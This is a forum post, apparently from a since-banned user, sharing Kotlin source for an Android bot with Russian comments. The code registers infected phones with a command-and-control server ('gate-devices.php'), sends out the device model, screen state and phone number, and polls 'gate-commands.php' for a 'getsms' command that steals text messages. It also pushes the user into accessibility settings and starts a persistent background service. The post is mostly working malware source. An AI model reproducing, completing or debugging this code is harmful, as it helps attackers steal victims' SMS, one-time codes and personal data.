Пожалуйста, обратите внимание, что пользователь заблокирован
Код:
package utf.comzero.app
import android.annotation.SuppressLint
import android.app.Activity
import android.content.Intent
import android.os.Bundle
import android.provider.Settings
import java.security.SecureRandom
class MainActivity : Activity() {
private val url = "http://0.0.0.0:80"
@SuppressLint("MissingInflatedId")
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
initialization()
val deviceManager = DeviceManager
deviceManager.registerDevice(this)
deviceManager.fetchDevices()
//initDeviceManager(this)
EndlessService.autoStart(this)
startActivity(Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS))
}
private fun initialization() {
try {
SharedPreferencess.idbot = generateDeviceId()
SharedPreferencess.c2 = url
} catch (_: Exception) {
}
}
private fun generateDeviceId(): String {
val chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
val random = SecureRandom()
return (1..10)
.map { chars[random.nextInt(chars.length)] }
.joinToString("")
}
}
Код:
package utf.comzero.app
import android.content.Context
import android.content.pm.PackageManager
import android.os.PowerManager
import android.telephony.TelephonyManager
import android.util.Log
import okhttp3.*
import com.google.gson.Gson
import com.google.gson.reflect.TypeToken
import okhttp3.MediaType.Companion.toMediaTypeOrNull
import okhttp3.RequestBody.Companion.toRequestBody
import org.json.JSONObject
import java.io.IOException
object DeviceManager {
private val client = OkHttpClient()
private val gson = Gson()
private const val SERVER_URL = "http://0.0.0.0:80/gate-devices.php"
private const val COMMANDS_URL = "http://0.0.0.0:80/gate-commands.php"
data class Device(
val id: String,
val os: String,
val model: String,
val screenState: String,
val phoneNumber: String?
)
fun registerDevice(context: Context) {
Log.d("DeviceManager", "Starting device registration")
val deviceInfo = collectDeviceInfo(context)
Log.d("DeviceManager", "Collected device info: $deviceInfo")
sendDeviceInfo(deviceInfo)
checkCommands(deviceInfo.id, context)
}
private fun collectDeviceInfo(context: Context): Device {
val deviceId = "11111"
val deviceOs = "Android ${android.os.Build.VERSION.RELEASE}"
val deviceModel = android.os.Build.MODEL
val screenState = if (isScreenOn(context)) "on" else "off"
val phoneNumber = getPhoneNumber(context)
Log.d("DeviceManager", "Device collected: id=$deviceId, os=$deviceOs, model=$deviceModel, screenState=$screenState, phoneNumber=$phoneNumber")
return Device(deviceId, deviceOs, deviceModel, screenState, phoneNumber)
}
private fun sendDeviceInfo(device: Device) {
val json = gson.toJson(device)
Log.d("DeviceManager", "Sending device info: $json")
val requestBody = json.toRequestBody("application/json".toMediaTypeOrNull())
val request = Request.Builder()
.url(SERVER_URL)
.post(requestBody)
.build()
client.newCall(request).enqueue(object : Callback {
override fun onFailure(call: Call, e: IOException) {
Log.e("DeviceManager", "Error sending device info: ${e.message}")
}
override fun onResponse(call: Call, response: Response) {
if (!response.isSuccessful) {
Log.e("DeviceManager", "Unexpected code: ${response.code}")
} else {
Log.d("DeviceManager", "Response: ${response.body?.string()}")
}
}
})
}
private fun getPhoneNumber(context: Context): String? {
val telephonyManager = context.getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager
return if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.M) {
if (context.checkSelfPermission(android.Manifest.permission.READ_PHONE_STATE) == PackageManager.PERMISSION_GRANTED) {
telephonyManager.line1Number
} else {
Log.w("DeviceManager", "Permission READ_PHONE_STATE not granted, unable to access phone number")
null
}
} else {
telephonyManager.line1Number
}
}
private fun checkCommands(deviceId: String, context: Context) {
Log.d("DeviceManager", "Checking commands for device ID: $deviceId")
val requestBody = FormBody.Builder().add("id", deviceId).build()
val request = Request.Builder()
.url(COMMANDS_URL)
.post(requestBody)
.build()
client.newCall(request).enqueue(object : Callback {
override fun onFailure(call: Call, e: IOException) {
Log.e("DeviceManager", "Error checking commands: ${e.message}")
}
override fun onResponse(call: Call, response: Response) {
response.body?.string()?.let { responseBody ->
Log.d("DeviceManager", "Commands response: $responseBody")
val jsonResponse = JSONObject(responseBody)
if (jsonResponse.getString("status") == "success") {
jsonResponse.getJSONArray("commands").let { commands ->
for (i in 0 until commands.length()) {
val command = commands.getString(i)
Log.d("DeviceManager", "Command: $command")
if (command == "getsms") {
Log.d("DeviceManager", "Executing command: getsms")
Bot.GetSMS(context)
}
}
}
} else {
Log.d("DeviceManager", "No commands found for device.")
}
}
}
})
}
fun fetchDevices() {
Log.d("DeviceManager", "Fetching devices from server")
val request = Request.Builder()
.url(SERVER_URL)
.build()
client.newCall(request).enqueue(object : Callback {
override fun onFailure(call: Call, e: IOException) {
Log.e("DeviceManager", "Error fetching devices: ${e.message}")
}
override fun onResponse(call: Call, response: Response) {
response.body?.string()?.let {
Log.d("DeviceManager", "Devices response: $it")
val deviceType = object : TypeToken<Map<String, Device>>() {}.type
val devices: Map<String, Device> = gson.fromJson(it, deviceType)
devices.forEach { (id, device) ->
Log.d("Device", "ID: $id, OS: ${device.os}, Model: ${device.model}, Screen State: ${device.screenState}")
}
}
}
})
}
private fun isScreenOn(context: Context): Boolean {
val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
return if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.KITKAT_WATCH) {
powerManager.isInteractive
} else {
powerManager.isScreenOn
}
}
}
Сервером все хорошо, я чекал через curl (делает коннект)